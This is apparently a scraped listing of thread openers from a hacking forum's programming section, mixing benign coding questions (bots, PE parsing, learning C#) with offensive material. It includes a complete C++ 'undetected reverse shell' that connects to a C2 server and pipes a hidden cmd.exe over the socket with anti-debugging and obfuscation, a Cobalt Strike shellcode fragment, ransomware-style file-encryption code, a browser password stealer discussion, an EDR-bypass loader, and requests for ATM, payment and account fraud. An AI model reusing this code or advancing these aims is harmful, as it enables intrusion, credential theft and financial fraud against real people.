Замена токена текущего процесса
ID: 6765d804b4103b69df3758dd
Thread ID: 64776
Created: 2022-03-24T18:52:09+0000
Last Post: 2022-03-25T17:43:02+0000
Author: coree
Replies: 5 Views: 336

Есть вот такой вопрос, как заменить токен текущего процесса? Механизм дубликации токена процесса имеется, надо как-то вставить его в текущий процесс.

WinPE Binary R/RO and Text
ID: 6765d804b4103b69df3757df
Thread ID: 88953
Created: 2023-05-26T11:02:44+0000
Last Post: 2023-05-27T01:08:08+0000
Author: DimmuBurgor
Replies: 3 Views: 336

Should I be doing something different, looking at OEP/Offset?

Code:Copy to clipboard

for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
name = (char*)sectionHeaders[i]. Name;
        printf("Section %d: %s\n", i + 1, name);
        if (strcmp(name, ".text") == 0 || strcmp(name, ".rdata") == 0) {
DWORD sectionOffset = sectionHeaders[i]. PointerToRawData;
 DWORD sectionSize = sectionHeaders[i]. SizeOfRawData;
char* sectionData = (char*)((uintptr_t)baseAddress + sectionOffset);

1685098919485.png

Code:Copy to clipboard

const char* targetSections[] = { ".text", ".rdata", ".rodata" };
    size_t numSections = sizeof(targetSections) / sizeof(targetSections[0]);

    for (size_t i = 0; i < numSections; i++) {
        PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION((PIMAGE_NT_HEADERS)baseAddress) + i;

        if (strcmp((const char*)sectionHeader->Name, targetSections[i]) == 0) {
            char* sectionData = (char*)baseAddress + sectionHeader->VirtualAddress;

            size_t sectionSize = sectionHeader->Misc.VirtualSize;
            encryptData(sectionData, sectionSize);

            DWORD oldProtect;
            VirtualProtect(sectionData, sectionSize, PAGE_EXECUTE_READWRITE, &oldProtect);

            decryptData(sectionData, sectionSize);

            UnmapViewOfFile(baseAddress);

            CloseHandle(hMapping);
            CloseHandle(hFile);

            printf("Binary file successfully processed.\n");
            return 0;
        }
    }

    UnmapViewOfFile(baseAddress);

    CloseHandle(hMapping);
CloseHandle(hFile);

I think I am working backwards

Знатоки С# подскажите
ID: 6765d804b4103b69df3758cb
Thread ID: 66409
Created: 2022-05-01T06:07:35+0000
Last Post: 2022-05-02T19:02:31+0000
Author: 0way
Replies: 3 Views: 336

Начал изучать с# и появилась мысль создать десктоп приложение для работы( и как пет проект потренироваться)
Его суть в том, что бы подключаться напрямую к системе на которой стоит linux(ubuntu) и нужно иногда заменять файлы в определенному пути на новые. Потом конечно есть еще идеи по вытаскиванию определенных логов с системы и сохранять их отдельно.
Подскажите что почитать для того, что бы научить приложение подключаться к этой системе с введением логина и пароля.

В курсе который изучаю рассказывают про создание окон и базовых настроек этих окон + дизайн приложения.
Но хочется именно почитать что то связанное с работой приложения с внешними подключениями.

[C#] VkNet Бот
ID: 6765d804b4103b69df3758f7
Thread ID: 63228
Created: 2022-02-19T19:56:47+0000
Last Post: 2022-02-22T15:02:07+0000
Author: Ags1of
Replies: 8 Views: 335

Создал бота, но не могу сделать кнопки, для быстрого ответа боту. Помогите

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using VkNet;
using VkNet.Model.RequestParams;
using VkNet.Enums.Filters;
using VkNet.Model;
using VkNet.Enums.SafetyEnums;

namespace zkz
{
    internal class Program
    {
        public static VkApi api = new VkApi();
        static void Main(string[] args)
        {

            api.Authorize(new ApiAuthParams() { AccessToken = "Токен" });

            while (true)
            {
                var s = api.Groups.GetLongPollServer(213123412);
                var poll = api.Groups.GetBotsLongPollHistory(new BotsLongPollHistoryParams() { Server = s.Server, Ts = s.Ts, Key = s.Key, Wait = 25 });
                if (poll?.Updates == null)
                {
                    continue;
                }


                foreach(var a in poll.Updates)
                {
                    if (a.Type == GroupUpdateType.MessageNew)
                    {
                        string userMessage = a.Message.Body.ToLower();
                        long? userId = a.Message.UserId;
                        if (userMessage == "приветик")
                        {
                            SendMessage("Приветик", userId);
                        }
                    }
                }
            }

            

        }
        public static void SendMessage(string message, long? userID)
        {
            Random rn = new Random();
            api.Messages.Send(new MessagesSendParams
            {
                RandomId = rn.Next(),
                UserId = userID,
                Message = message
            });

        }

        public static void Buttons()
        {
            
        }

    }
}
What is better? memset or RtlSecureZeroMemory? C
ID: 6765d804b4103b69df375966
Thread ID: 56736
Created: 2021-09-16T10:21:46+0000
Last Post: 2021-10-03T01:07:46+0000
Author: scrim
Replies: 8 Views: 335

whats the best solution to zero out memory? Other thoughts?

Написание телеграм бота на c++
ID: 6765d804b4103b69df375913
Thread ID: 61848
Created: 2022-01-23T11:55:41+0000
Last Post: 2022-01-23T16:28:19+0000
Author: BaDRabbiT404
Replies: 2 Views: 333

Всем привет. Хочу написать телеграм бота на c++. Пытался найти нормальную либу, но нигде адекватной документации. Может кто нибудь подскажет хорошую либу?

Получить кошельки из закрытых ключей ETH C#?
ID: 6765d804b4103b69df375727
Thread ID: 111191
Created: 2024-03-24T03:51:59+0000
Last Post: 2024-03-24T04:34:27+0000
Author: ZXSCoder
Replies: 1 Views: 332

Собственно есть пачка ключей, нужно получить сами кошельки от них массово.
Как по быстрому сделать? Ключей более 100 000 ручками не варик.

[C++] undetected reverse shell
ID: 6765d804b4103b69df3757c9
Thread ID: 93366
Created: 2023-07-19T07:47:18+0000
Last Post: 2023-07-19T07:47:18+0000
Author: redrooom
Replies: 0 Views: 332

Code:Copy to clipboard

#define WIN32_LEAN_AND_MEAN            // Exclude rarely-used stuff from Windows headers

#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <WinSock2.h>
#include <windows.h>
#include <WS2tcpip.h>
#include <iostream>
#include "xor.h" // find online
#include "LazyImporter.h" // find online

#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024



void call_shell(char* C2Server, int C2Port);

static const std:Confusedtring base64_chars =
_xor_("ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/").c_str();


static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}

std:Confusedtring base64_decode(std:Confusedtring const& encoded_string) {
int in_len = encoded_string.size();
int i = 0;
int j = 0;
int in_ = 0;
unsigned char char_array_4[4], char_array_3[3];
std:Confusedtring ret;

while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_]; in_++;
if (i == 4) {
for (i = 0; i <4; i++)
char_array_4 = base64_chars.find(char_array_4);

char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

for (i = 0; (i < 3); i++)
ret += char_array_3;
i = 0;
}
}

if (i) {
for (j = i; j <4; j++)
char_array_4[j] = 0;

for (j = 0; j <4; j++)
char_array_4[j] = base64_chars.find(char_array_4[j]);

char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
}

return ret;
}


int IsRunning() // Check if already running so we dont execute twice
{
const char szMutex[14] = { 'L','o','c','a','l','\\','w','i','n','_','a','t','i' }; // some bs mutex
CreateMutexA(0, FALSE, _xor_(szMutex).c_str()); // try to create a named mutex
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
// did the mutex already exist?
exit(0);
return 1; // quit; mutex is released automatically
}
// do nothing
return 0;
}

//int main(int argc, char *argv[])
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, char*, int nShowCmd) // using winMain no window will show
{

if (IsDebuggerPresent())
exit(EXIT_FAILURE);

IsRunning();


if (__argc == 3)
{
std:Confusedtring cumlord = base64_decode((const char*)__argv[2]);
int port = std:Confusedtoi(cumlord);// atoi((const char*)argv[2]);

std:Confusedtring cumlord2 = base64_decode((const char*)__argv[1]);
call_shell((char*)cumlord2.c_str(), port);

}
    return 0;
}


void call_shell(char* C2Server, int C2Port)
{

auto base = reinterpret_cast<std::uintptr_t>(LI_FN(LoadLibraryA)("ws2_32.dll"));
LI_FN(base, LI_FN(base, WSASocket)AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (__int8)NULL, (__int8)NULL);

while (true)
{
int x, y, z;

x = 823 * 424;
y = x * 61483;
z = y + x * 9434 / 423;

//memcpy(C2Server, base64_chars.c_str(), sizeof(12 + 28131));

SOCKET sock;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2, 1), &version);

sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (__int8)NULL, (__int8)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);



if (WSAConnect(sock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR)
{
closesocket(sock);
WSACleanup();
continue;
}
else
{
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(sock, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0)
{
closesocket(sock);
WSACleanup();
continue;
}
else
{
a:
char Process[4] = { 'c','m','d' };
char ProcessExe[5] = {'.','e','x','e'};
char Buffer[] = "";

strncpy(Buffer, Process, sizeof(Process));
strncat(Buffer, ProcessExe, sizeof(ProcessExe));

STARTUPINFO sz_info;
PROCESS_INFORMATION pinfo;
memset(&sz_info, 0, sizeof(sz_info));
sz_info.cb = sizeof(sz_info);
sz_info.dwFlags = (STARTF_USESTDHANDLES | SW_HIDE/*| STARTF_USESHOWWINDOW*/);
sz_info.hStdInput = sz_info.hStdOutput = sz_info.hStdError = (HANDLE)sock;

CreateProcess(NULL,Buffer, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sz_info, &pinfo);

send(sock, "pwnd", 4, 0);


WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(sock, RecvData, DEFAULT_BUFLEN, 0);
if(RecvCode <= 0)
{
closesocket(sock);
WSACleanup();
continue;
}


if (strcmp(RecvData, _xor_("persistence\n").c_str()) == 0)
{
// do your persistence func.
}
else
{
goto a;
}
}
}
}
}
Editting a .lnk file using c#
ID: 6765d804b4103b69df3757ec
Thread ID: 87654
Created: 2023-05-10T08:41:32+0000
Last Post: 2023-05-10T08:41:32+0000
Author: NIGHTHAWK
Prefix: Мануал/Книга
Replies: 0 Views: 331

C#:Copy to clipboard

using IWshRuntimeLibrary;

string filePath = @"C:\Users\UserName\Desktop\Shortcut.lnk";

WshShell shell = new WshShell();
IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(filePath);

shortcut.TargetPath = @"C:\Windows\System32\notepad.exe";
shortcut.Description = "My shortcut description";
shortcut.IconLocation = @"C:\Windows\System32\notepad.exe, 0";
shortcut.Save();
Книги, самоучители по С#
ID: 6765d804b4103b69df37592f
Thread ID: 58092
Created: 2021-10-24T00:17:03+0000
Last Post: 2021-12-12T16:52:19+0000
Author: Ronnie James Dio
Replies: 3 Views: 330

Суть проблемы (а может и не проблемы) проста. Вот уже два месяца учусь в шараге на ИСП, предмет с программированием ведёт дяденька лет 70 со всеми вытекающими. Не, мужик нормальный, пытается втулить Нам С#, и вот тут возникают два вопроса:
A: не пустая-ли трата времени нынче сам С#?
Б: если не пустая, есть-ли какие-то общепринятые способы его изучения вне учебного заведения?
Также дяденька в шараге сказал, что С# имеет смысл только с преподом. Правда это иль он уже из ума выжил?

shellcode help
ID: 6765d804b4103b69df37573e
Thread ID: 108423
Created: 2024-02-17T05:36:59+0000
Last Post: 2024-02-18T10:11:54+0000
Author: Sec13B
Replies: 3 Views: 330

Can someone show, how i convert the beacon shellcode from cobatstrike like msf shellcode
cobalstrike shellcode

Code:Copy to clipboard

/* length: 892 bytes */
unsigned char buf[] = "\xfc\x41\x51\x41\x50\x52\xac\x3c\x61\x7c\x02\x2c\x20\x41\...........\.......\xc1\xc9\x0d\x41\x01\xc1\52\x20\x8b\x4\x78\.............................\x31\xc0\xac\x400\x3a\xde\x68\xb1";

in msf shelcode model

Code:Copy to clipboard

"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b"
"\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31"
Persistence
ID: 6765d804b4103b69df3758f2
Thread ID: 63463
Created: 2022-02-24T19:45:23+0000
Last Post: 2022-02-26T14:11:13+0000
Author: Mrleeh
Replies: 8 Views: 329

Greetings to everyone. I am beginning to learn and understand how process injection work, I have a c# program that simply displays a message box and also createsubkey on the windows registry. I found a program donut that convert a .Net assembly to shellcode and I was able to use process injection technique by @icyguider to inject the shellcode into notepad process but when I restart my windows, the program does not auto run. I have no idea why it doesn't start on boot. I also run notepad to check if the message box will popup but it doesn't.. Before injection it auto start.. Any solution will be appreciated please.. Apologies for my noob question.

Посоветуйте книгу по изучению C++
ID: 6765d804b4103b69df375883
Thread ID: 74196
Created: 2022-10-11T04:33:59+0000
Last Post: 2022-10-16T21:59:29+0000
Author: pakhom
Replies: 4 Views: 327

шапка

Looking coder Java for payment facebook ads
ID: 6765d804b4103b69df37571a
Thread ID: 111675
Created: 2024-03-31T21:39:14+0000
Last Post: 2024-04-03T14:01:54+0000
Author: MMOSTEWIE
Replies: 3 Views: 327

For example, this line code has the tag to add iban to the Facebook payment method
But now this code has been fixed
We need a java coder with extensive experience with Facebook and their payment gateway
We will pay a worthy amount to those who work seriously
long-term rent
[Contact TG : @Mrwick86
How work ? escorw or done my job and take money

demo
justpaste.it/dr3u6

Advent of Code - Annual Holiday Code Practice
ID: 6765d804b4103b69df3756b3
Thread ID: 124338
Created: 2024-10-08T09:07:05+0000
Last Post: 2024-10-08T09:07:05+0000
Author: shrekushka
Replies: 0 Views: 326

maxresdefault.jpg

Advent of Code 2024

adventofcode.com adventofcode.com

I don't know if it's popular in Russia, but here you go. I won't explain any more. I myself have used it for Haskell and OCaml. I code in Haskell + OCaml btw.
Once you get comfortable with the basics of the language's paradigm + syntax + standard functions, go for it. It starts in December.

[C#]Помогите с парсом почты
ID: 6765d804b4103b69df3758af
Thread ID: 68184
Created: 2022-06-05T15:05:44+0000
Last Post: 2022-07-04T02:21:33+0000
Author: Ags1of
Replies: 6 Views: 325

Нужно вытащить вот эту почту:1654441428131.pngона находится под двумя кнопками и капчей.Капчу решаю(подключил рукапчу), но что делать потом, я не знаю, посмотрел запросы в Network'е, предположения есть, что нужно делать, ноне совсем уверен. Разжуйте, пожалуйста, что, да как надо сделать

[C++] Защита от сканирования и изменении памяти через Cheat Engine
ID: 6765d804b4103b69df3757b2
Thread ID: 95275
Created: 2023-08-09T16:08:28+0000
Last Post: 2023-08-12T16:37:49+0000
Author: AntiInject
Replies: 3 Views: 324

Подскажите. Как можно это реализовать? (Вопрос в теме)

Софт для Gmail
ID: 6765d804b4103b69df375709
Thread ID: 113244
Created: 2024-04-24T16:04:25+0000
Last Post: 2024-04-24T16:04:25+0000
Author: Lverba
Replies: 0 Views: 323

нужен софт для извлечения app password из почт gmail
Связь:@shdoc_q

Кто сможет крякнуть прогу ?
ID: 6765d804b4103b69df37591b
Thread ID: 61341
Created: 2022-01-13T17:24:28+0000
Last Post: 2022-01-13T17:24:28+0000
Author: TheHaker
Replies: 0 Views: 323

Там нужно ввести ключ
Моожет есть мануал по взлому ?

Какая методика автозагрузки будет лучше по вашему мнению?
ID: 6765d804b4103b69df3757aa
Thread ID: 95741
Created: 2023-08-15T18:21:27+0000
Last Post: 2023-08-19T04:19:02+0000
Author: Alexey18
Replies: 2 Views: 322

Интересует ваше мнение касательно рестра? Давно, давно делал реализацию на шарпах через ярлыки. В рантайме деф не видел. Мне всегда казалось, что рестр всеми аверами детектится по поведению. Смоотрел нешту 04 года. Там она загружается через рестр в тех местах, где эксплорер и винлогон прописан, но юак не пустит.
Что по вашему мнению по лучше будет?

Cryptography files extensions C language (noob here)
ID: 6765d804b4103b69df3757f4
Thread ID: 86575
Created: 2023-04-24T11:31:11+0000
Last Post: 2023-04-25T12:39:28+0000
Author: hackertom
Replies: 4 Views: 322

hello my goal is to create a file who search all drive latter's folders and subfolders and cryptography all files with extensions .jpg, .mp3, .zip
And save the public key to desktop key.txt my code now is

Code:Copy to clipboard

(κανένα θέμα)

hacker tom <hackertomobile@gmail.com>
2:23 μ.μ. (πριν από 2 λεπτά)
προς εγώ

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>

void traverse(const char *dir_path) {
    DIR *dir;
    struct dirent *entry;
    struct stat file_stat;

if (!( dir = opendir(dir_path))) {
        fprintf(stderr, "Error opening directory %s\n", dir_path);
        return;
    }

    while ((entry = readdir(dir))) {
        char path[1024];
        snprintf(path, sizeof(path), "%s/%s", dir_path, entry->d_name);

        if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
            continue;
        }

        if (stat(path, &file_stat) == -1) {
            fprintf(stderr, "Error getting file status for %s\n", path);
            continue;
        }

        if (S_ISDIR(file_stat.st_mode)) {
            traverse(path);
        } else {
            char *ext = strrchr(entry->d_name, '.');
            if (ext && (strcmp(ext, ".jpg") == 0 || strcmp(ext, ".mp3") == 0 || strcmp(ext, ".png") == 0)) {
how I use cryptographic operation here??
                //
Save key to file on desktop
                FILE *key_file = fopen("~/Desktop/key.txt", "w");
                if (!key_file) {
                    fprintf(stderr, "Error opening key file\n");
                } else {
                    fprintf(key_file, "my_private_key");
                    fclose(key_file);
                }
            }
        }
    }

    closedir(dir);
}

int main(int argc, char **argv) {
    traverse("/");
    return 0;
}
Установить значения отладочных регистров в главном потоке
ID: 6765d804b4103b69df3757a4
Thread ID: 96075
Created: 2023-08-19T17:33:34+0000
Last Post: 2023-08-25T16:47:15+0000
Author: CheckerChin
Replies: 2 Views: 321

Всем привет. Подскажите пожалуйста, есть ли возможность установить значения отладочных регистров (dr*) в своем одном главном потоке?
Через асм нельзя сделать, потому что привилегированная инструкция

C++ Detect Honeypot / Sandboxes from Spam
ID: 6765d804b4103b69df37575b
Thread ID: 104466
Created: 2023-12-21T15:54:26+0000
Last Post: 2023-12-25T12:41:45+0000
Author: netix
Replies: 1 Views: 320

Once I start spam I get around 20k executions from honeypots, I tested all public methods to detect them, everything failed.

Anyone got some idea?

IORI_Loader - Bypass EDRs
ID: 6765d804b4103b69df375877
Thread ID: 74882
Created: 2022-10-29T19:37:18+0000
Last Post: 2022-10-29T19:37:18+0000
Author: xmyriy
Replies: 0 Views: 319

FUD advanced Loader implementing dynamic indirect syscall with syscall number and syscall instruction Unhooking with Halosgate technic. Shellcode in UUIDs format to avoid static analysis, syscall instructions and syscall number don't exist in the binary opcode which makes it avoid static analysis and they get resolved at run time. also it gets the API addresses from the PEB by offsets and the comparison is done by hashing.

github.com

[ GitHub - D1rkMtr/IORI_Loader: UUID shellcode Loader with dynamic

indirect syscall implementation, syscall number/instruction get resolved dynamicaly at runtime, and the syscall number/instruction get unhooked using Halosgate technique. Function addre ](https://github.com/D1rkMtr/IORI_Loader)

UUID shellcode Loader with dynamic indirect syscall implementation, syscall number/instruction get resolved dynamicaly at runtime, and the syscall number/instruction get unhooked using Halosgate te...

github.com github.com

[C#] Как считывать файлы с сервера
ID: 6765d804b4103b69df3757fd
Thread ID: 85490
Created: 2023-04-08T16:03:16+0000
Last Post: 2023-04-08T20:13:07+0000
Author: Volk_v_Shkure
Replies: 3 Views: 319

Доборого времени суток!

Может кто-то подскажет, вот у меня есть сервер на котором находится папка с файлами. Мне нужно с этой папки получить название, количество, ну и можно сами файлы. Каким методом это можно реализовать на C#?
Заранее спасибо.

VirtualAlloc / Ошибка с доступом к памяти при сокрытии импорта
ID: 6765d804b4103b69df3757ac
Thread ID: 95693
Created: 2023-08-14T21:25:08+0000
Last Post: 2023-08-18T06:20:56+0000
Author: Alexey18
Replies: 8 Views: 318

/del

.exe to dll or cpl
ID: 6765d804b4103b69df375783
Thread ID: 99706
Created: 2023-10-09T11:39:09+0000
Last Post: 2023-10-11T12:45:35+0000
Author: Forwanin
Replies: 3 Views: 317

hey guys, I'm looking for open source tool to convert .exe to .dll, I have tried using a tool that converts to .cs then tried to build as a windows form app but it shows some errors . I'm looking for another method or a open source tool if any

Нужен кодер
ID: 6765d804b4103b69df3758ae
Thread ID: 69849
Created: 2022-07-08T22:20:49+0000
Last Post: 2022-07-10T06:34:34+0000
Author: binarnuy_cvv
Replies: 4 Views: 316

Доброго вечера форумчане, требуется кодер который напишет любое приложение для IOS (хоть тупо чёрный экран с кнопкой донат) добавит внутри игровые покупки, подвяжет платёгу и поставит на App Store. Связь в лс, цены за ваши услуги жду в лс

Kali
ID: 6765d804b4103b69df37579c
Thread ID: 97184
Created: 2023-09-03T13:05:16+0000
Last Post: 2023-09-03T16:55:14+0000
Author: Dark99
Replies: 1 Views: 315

Зашел на забытую виртуалку
Перепробывал все команды, переустановки, не могу решить эту проблему
Moder. | Если не там тему создал, перемести, дай бог здоровья, спасибо
на 64бит ставлю 32бит пакет. -Apt не находит эти пакеты в кэше
1693746278268.png

Распределение I/O нагрузки между дисками
ID: 6765d804b4103b69df375819
Thread ID: 82918
Created: 2023-02-28T18:18:04+0000
Last Post: 2023-02-28T18:18:04+0000
Author: Encommerce
Replies: 0 Views: 315

Есть вещь, которая ломает мне голову. Это дисковые пространства в AD сетях.

Вообще, должен признаться, не являюсь специалистом в администрировании сетей, однако, приблизительно могу представить структуру хранения данных в них.

Ок, у нас есть несколько ведер, нарисую табличку:

ПК| Права| Сеть
---|---|---
Юзер Вова| Юзер| Локальная
Юзер Петя| Юзер| Локальная
Админ Валера| Админ Домена| Локальная
Файло-помойка #1| -| Локальная
Файло-помойка #2| -| Внешняя

Если мы посмотрим на мир глазами Вовы, а вернее его компа, то, вероятно, увидим такую картину:

У нас есть права на изменение файлов на дисках:
C => Ситсемный диск
D => Несистемный раздел диска C
E => Файло помойка #1 (пиздец медленная)

Итак, теперь мы хотим начать читать и записывать данные.

На данный момент я использую такую нехитрую схему:

base_channel.png

Есть канал, туда поступают таргеты.
Он работет в режиме "первый вошел, первый вышел".

Очевидные проблемы в данном кейсе:
- бесполезно собирать директории из разных разделов одного диска в нескольких потоках (ок, это можно пофиксить, если привязать точки монтирования к физическим дискам)
- соотношение скорости получения директорий/метаданных и чтения/записи может варьироваться от диска к диску, что неизбежно приведет к уничтожению баланса
pool.png

В данном кейсе оба этих ограничения сыграют роль.

Теперь представим, что мы за компом админа Валеры:

У нас есть права на изменение файлов на дисках:
C => Ситсемный диск
D => Несистемный раздел диска C
E => Файло помойка #1 (пиздец медленная)
E => Файло помойка #2 (еще более медленная)
И на всех остальных дисках в домене, включая те, что смонтированны у Вовчика и Пети

Тут как бы возникает еще одна вилка: можно делегировать часть I/O операций на вышеупомянутую парочку или лопатить с одного компа. Но это другой вопрос.
Мы же разбираемся со всеми вопросами от лица одного админа.

Дисков теперь туева куча, суммарная скорость чтения/записи иногда будет упираться в ограничения ЦП, не забываем про пейлоад.
Ключевое слово иногда. Представим что на файло помойке #2, которая находится далеко за пределами локалки, скорость чтения составляет 1мб/сек, а также именно на ней хостятся толстенные csv логи пердежа за 10 лет.
И вот наш пул потоков закономерно забивается и мы тратим кучу драгоценного времени на мусор, а не снимаем сливки.

Короче, надеюсь кто-то имеет представление о том, как можно получше запилить)

Книги по Java
ID: 6765d804b4103b69df375946
Thread ID: 56413
Created: 2021-09-08T10:25:25+0000
Last Post: 2021-11-24T07:53:54+0000
Author: LittelMouse
Replies: 7 Views: 313

Всем хорошего дня. Начал изучать java, подскажите с каких лучше начать книг?

ATM TPE
ID: 6765d804b4103b69df3758cd
Thread ID: 58570
Created: 2021-11-06T11:22:43+0000
Last Post: 2022-04-29T11:54:19+0000
Author: prectar
Replies: 1 Views: 312

hi

anyone can help me modify the war package to allow specific cards to not be checked in the DB and respond with positive balance.

ATM_TPE.PNG

Кросс компиляция с++
ID: 6765d804b4103b69df375797
Thread ID: 97688
Created: 2023-09-09T13:38:29+0000
Last Post: 2023-09-09T19:44:06+0000
Author: ScaryKids
Replies: 3 Views: 311

Всем привет, нужно скомпилировать проект под разные архитектуры (mips, arm и тд). Какой самый оптимальный способ?
Сижу на linux.

Заблокированы post запросы, как написать чекер?
ID: 6765d804b4103b69df37573b
Thread ID: 109011
Created: 2024-02-25T10:24:31+0000
Last Post: 2024-02-25T11:33:36+0000
Author: hahbah
Replies: 5 Views: 310

Собственно столкнулся с такой проблемой:
Мне надо отправить post-запрос на сайт для проверка данных на валид, но они заблокированы.
Как мне реализовать проверку, без использования BAS и прочего?
Слышал про selenium, webDriver. Какие-то есть правильные решения данной проблемы?

how to make a small .exe (64bit) for a firefox stealer [C/C++]
ID: 6765d804b4103b69df3758a3
Thread ID: 70680
Created: 2022-07-26T11:33:47+0000
Last Post: 2022-07-26T19:33:59+0000
Author: 3c2n90yt57489t3y8794
Replies: 2 Views: 310

I developed a chromium+gecko password stealer in C++ but the file size is big (~1.1Mb) because in order to request and decrypt firefox passwords I need to use functions provided by nss3.dll:
NSS_Init, NSS_Shutdown, PK11_GetInternalKeySlot, PK11_FreeSlot, PK11_Authenticate, PK11_CheckUserPassword, PK11SDR_Decrypt
so I need to dinamically load this 64bit dll and my executable needs to be 64bit too. The final size of the stealer between 32 and 64 bit is very different, if I compile the same stealer at 32bit I get a 700Kb executable that is more reasonable (but it can't load 64bit dll).

Is it normal to get bigger filesize for a firefox stealer? Usually how is this problem solved?

При переборе Resource Directory, приходят не верные данные
ID: 6765d804b4103b69df375686
Thread ID: 129209
Created: 2024-12-18T09:11:18+0000
Last Post: 2024-12-18T11:55:06+0000
Author: ymmfty0
Replies: 8 Views: 309

Привет всем! Я изучаю формат PE файлов и хотел написать функцию, которая будет рекурсивно перебирать подкаталоги в Resource Directory
Если посмотреть в CFF Explorer, то можно увидеть то что элементов 4

1734512867054.png

Для этого я написал вот такую функцию

C++:Copy to clipboard

void EnumerateResources(const PBYTE resourceSectionAddr , const PIMAGE_RESOURCE_DIRECTORY entry , int depth = 0)
{
    if (resourceSectionAddr == nullptr || entry == nullptr)
    {
        std::cerr << "Invalid pointer to resource section or directory!" << std::endl;
        return;
    }

    auto directory_entries = reinterpret_cast<PIMAGE_RESOURCE_DIRECTORY_ENTRY>(
        reinterpret_cast<const PBYTE>(entry) + sizeof(IMAGE_RESOURCE_DIRECTORY)
        );
    
    if (directory_entries == nullptr)
    {
        std::cerr << "Invalid pointer to directory entries!" << std::endl;
        return;
    }

    size_t entries_size = (entry->NumberOfIdEntries + entry->NumberOfNamedEntries) - 1;
    for (size_t i = 0; i <= entries_size  ; ++i)
    {
        if (directory_entries[i].DataIsDirectory)
        {
            std::cout << std::string(depth * 2, ' ') << "Directory ";

            if (directory_entries[i].NameIsString)
            {
                auto dir_string = reinterpret_cast<PIMAGE_RESOURCE_DIR_STRING_U>(resourceSectionAddr + directory_entries[i].NameOffset);

                std::wstring name(dir_string->NameString, dir_string->Length);
                std::wcout << L"Name: " << name << std::endl;
            }
            else
                std::cout << std::hex << "Id: " << directory_entries[i].Id << std::endl;
            

            auto data_entry_resource_directory = reinterpret_cast<PIMAGE_RESOURCE_DIRECTORY>(
                reinterpret_cast<PBYTE>(entry) + directory_entries[i].OffsetToDirectory
                );
            EnumerateResources(resourceSectionAddr, data_entry_resource_directory, depth + 1);
        }
        else
        {
            std::cout << std::string(depth * 2, ' ') << "Resource ";
            if ( directory_entries[i].NameOffset & IMAGE_RESOURCE_NAME_IS_STRING )
            {
                auto dir_string = reinterpret_cast<PIMAGE_RESOURCE_DIR_STRING_U>(
                    reinterpret_cast<PBYTE>(resourceSectionAddr) + directory_entries[i].NameOffset
                    );
                std::wstring name(dir_string->NameString, dir_string->Length);
                std::wcout << L"name: " << name << std::endl;
            }
            else
            {
                std::cout << "id: " << std::hex << directory_entries[i].Id << std::endl;
            }
        }
    }
    
    return;
}

Код идет корректно до тех пор , пока не сталкивается с директорией IDI_CALC_ICON начинают приходить неверные данные

1734512995238.png

Не могу понять в чем может быть причина, почему данные не приходят корректно

Вот код в функции main

Code:Copy to clipboard

DWORD RvaToOffset(DWORD rva, DWORD VirtualOffset, DWORD RawOffset)
{
    return rva - VirtualOffset + RawOffset;
}

int main()
{

    std::ifstream input_file("C:\\Windows\\System32\\calc.exe", std::ios::binary);

    input_file.seekg(0, std::ios_base::end);

    auto length = input_file.tellg();
    input_file.seekg(0, std::ios_base::beg);

    std::vector<BYTE> pe_file_buffer(length);
    input_file.read(reinterpret_cast<char*>(pe_file_buffer.data()), length);

    auto pe_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(pe_file_buffer.data());
    if (pe_dos_header->e_magic != IMAGE_DOS_SIGNATURE)
    {
        std::cerr << "[!] Incorrect DOS Header signature" << std::endl;
        return -1;
    }

    auto pe_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(pe_file_buffer.data() + pe_dos_header->e_lfanew);
    if (pe_nt_headers->Signature != IMAGE_NT_SIGNATURE)
    {
        std::cerr << "[!] Incorrect NT Headers Signature " << std::endl;
        return -2;
    }

    auto pe_data_directory = static_cast<IMAGE_DATA_DIRECTORY>(pe_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]);

